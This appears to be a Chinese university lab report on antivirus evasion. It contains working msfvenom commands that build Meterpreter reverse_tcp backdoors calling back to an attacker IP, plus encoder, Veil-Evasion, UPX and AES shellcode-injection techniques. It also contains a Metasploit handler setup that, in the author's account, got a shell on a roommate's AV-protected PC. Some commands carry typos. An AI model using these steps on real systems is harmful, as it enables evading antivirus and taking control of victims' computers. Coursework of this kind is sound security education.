20191223-Exp3-免杀原理
Exp3-免杀原理
姓名:张俊怡 学号:20191223 课程:网络对抗技术
一、实践内容
-
方法
-
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
-
veil,加壳工具
-
使用C + shellcode编程
-
2.通过组合应用各种技术实现恶意代码免杀
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、实践过程记录
1.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
msfvenom是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线。
让我们看看它有哪些功能:
翻译一下:
* -p, --payload payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled length> 为payload预先指定一个NOP滑动长度
-f, --format format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch architecture> 指定payload的目标架构
--platform platform> 指定payload的目标平台
-s, --space length> 设定有效攻击荷载的最大长度
-b, --bad-chars list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations count> 指定payload的编码次数
-c, --add-code path> 指定一个附加的win32 shellcode文件
-x, --template path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out path> 保存payload
-v, --var-name name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
1.1 正确使用msf编码器,生成exe文件
在第二次实验中使用msf生成了一个后门程序,我们使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。
用VirusTotal扫描后结果如下图所示:
检出率为(54/69)
由此可见不加处理的后门程序很容易被大部分杀软检测出来,因此我们尝试对其进行一次到多次编码,并进行检测。
一次编码
使用指令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.1.154 LPORT=1223 -f exe > backdoor1.exe
-e选择编码器,-b是payload中需要去除的字符,该命令中为了使’x00’不出现在shellcode中,因为shellcode以'\x00'为结束符
VirusTotal网站的扫描结果如下:
检出率为(51/70),减少了一丢丢。。
十次编码
使用命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.1.154 LPORT=1223 -f exe > backdoor1.exe
-i设置迭代次数
(理论上增加编码次数会降低检出率)
检测结果见下图:
检出率为(54/70),并没有下降,反而上升了。
可见多次编码对免杀没有太大的效果,原因有两点:
- 杀软研究的是编码器本身,shikata_ga_nai的解码部分总会需要加入到exe中,这部分总会被杀软识别出来,所以效果可能更差。
msfvenom会以固定的模板生成exe,因此会有一定的固定特征。所以杀软会针对其使用的模板来生成特征码,这样就解决所有msfvenom生成的恶意代码了。如果使用msfvenom免杀,就要使用新的模板生成exe。
1.2 msfvenom生成jar文件
生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=1223 x> 20191223_backdoor_java.jar
VirusTotal网站的扫描结果如下:
检出率为(31/60),已经接近百分之50了。迈克菲依旧坚挺。。
1.3 msfvenom生成php文件
指令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=1223 x> 20191223_backdoor.php
VirusTotal网站的扫描结果如下:
检出率为(21/57),已经低于百分之50。
2.使用veil-evasion生成后门程序及检测
2.1安装veil
Veil-Evasion是一个免杀平台,与Metasploit有点类似,默认没装;
用sudo apt-get install veil-evasion
命令安装Veil
设置
cd /usr/share/veil/config
vim setup.sh
此时需要进入root模式。
按ESC键退出编辑内容模式,输入“:set number”后按回车键,就可以显示行号了。
找到第260行的github仓库地址,并改为码云的地址https://gitee.com/spears/VeilDependencies.git
修改成功后,等待veil安装
等了好一会儿,终于done!
不过还有一个小问题:
根据错误提示,执行如下命令:/usr/share/veil/config/setup.sh --force --silent
执行以上命令后,将自动修复错误。执行完成后,看到如下提示信息:
[I] If you have any errors running Veil, run: './Veil.py --setup' and select the nuke the wine folder option
[I] Done!
看到以上信息,则表示初始化成功。此时,重新执行veil命令,即可成功启动Veil-Evasion工具。
2.2使用veil-evasion生成后门程序及检测
- 用
use evasio
n命令进入Evil-Evasion
输入命令·use c/meterpreter/rev_tcp.py·进入配置界面
设置IP和端口set LHOST 192.168.21.131 和 set LPORT 1223
输入generate
生成文件,接着输入你想要playload的名字:veil-20191223
VirusTotal网站的扫描结果如下:
2.3免杀加壳尝试
加壳:加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
- 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是隐藏程序真正的OEP(入口点,防止被破解,查壳就是为了找它),类似于动物界的龟壳。大多数病毒就是基于此原理。
指令:upx 20191223veil.exe -o 20191223veil_upx.exe
VirusTotal网站的扫描结果如下:
检出率为(47/70)反而上升了,能看出加壳反而没什么效果。。。
3.使用C + shellcode编程
首先使用msfvenom得到shellcode
指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=1223 -f c
创建一个文件20191223backdoor.c,然后将unsigned char buf[]赋值到其中,代码如图:
使用命令:i686-w64-mingw32-g++ 20191223backdoor.c -o 20191223backdoor.exe
编译为可执行文件;
VirusTotal网站的扫描结果如下:
检出率为(34/70),低于百分之50.
4.通过组合应用各种技术实现恶意代码免杀
启动veil,进入evasion,输入list查看可用的有效荷载,如下:
我们选择第28行的payload
use python/shellcode_inject/aes_encrypt.py
generate
选第二个
找到文件位置,用VirusTotal网站的扫描结果如下,实现免杀:
原理是在py环境下利用AES加密方式对后门程序进行传输加密。。(微信小程序与此方式有相似之处)
5.附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
我使用的测试机是我的舍友张潇的电脑。
电脑版本:win10
杀软版本:360安全卫士
kali虚拟机ip地址:192.168.1.216
在虚拟机输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.1.216 lport=1223 -f raw -o 20191223.raw
生成raw文件
(需要在root下执行)
需要在对方计算机上下载shellcode_launcher参考博客
然后在对方的电脑上输入 shellcode_launcher.exe -i 20191223.raw
运行生成的文件
然后打开杀软,进行检测:
成功绕过杀软!!很激动!!
然后我们进入msf控制台,进行配置
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.216 //此处为kali端ip地址
set LPORT 1223
exploit
成功获得shell!
6.基础问题回答
1.杀软是如何检测出恶意代码的?
答:
(1)基于特征码的检测. 恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码;
(2)基于CFG和数据流分析的污点追踪引擎。这算是对程序分析技术的经典应用;
(3)加密文件分析。
(4)基于行为的检测
杀软是通过行为识别的,只关心他干了什么事。
是指通用的、多特征的、非精确的扫描。
2.免杀是做什么?
答:就是通过修改PE文件的代码、软件加壳或改变文件的结构来达到躲避杀毒软件查杀的目的。
3.免杀的基本方法有哪些?
答:
(1)直接修改特征码的十六进制法.。修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制. 。适用范围:一定要精确定位特征码所对应的十六进制,修改后一定要测试一下能. 否正常使用.。
(2)修改字符串大小写法。修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了。适用范围:特征码所对应的内容必需是字符串,否则不能成功.
(3)改变行为
通讯方式:
尽量使用反弹式连接,让被攻击机连接攻击机。这是现成的组件,实践中可以直接选择。
使用隧道技术,这个一般没有现成的组件。
加密通讯数据,杀软无法解密,也就无法检测了。这个也可以直接调用现成组件。
4.开启杀软能绝对防止电脑中恶意代码吗?
答:答案是否定的。。
我们不能保证杀软的病毒库记录了所有恶意代码的特征码片段,因为恶意代码是不断更新的。
根据网上的数据显示,目前最优秀的杀软也只能检测出98%的恶意软件。
7、实验体会
通过这次实验,我尝试了生成能实现免杀的后门程序(虽然仅针对360安全卫士和腾讯管家),我切实体会到杀毒软件并不是万能的,不能指望杀软能够解决掉所有的安全问题。我深入了解了杀软进行恶意代码查杀的机制之一(提取特征码),我们在实验中生成的程序如果进行联网查杀的话,第一次并不会查出来,但是一段时间后再进行杀毒,就会被发现,这是因为杀软把你刚生成的程序的特征码提取了出来,然后传到服务器(需要一定时间),杀软的特征库是一直再更新的。。作为信息安全专业的学生,我很高兴能够在本次实验中了解免杀流程以及杀软工作流程,明白了免杀程序的危害性以及杀软的缺点,我们日常工作中一定要留意电脑中的可疑程序,不要因为打开了杀软就觉得自己是安全的,要时刻警惕恶意软件的攻击。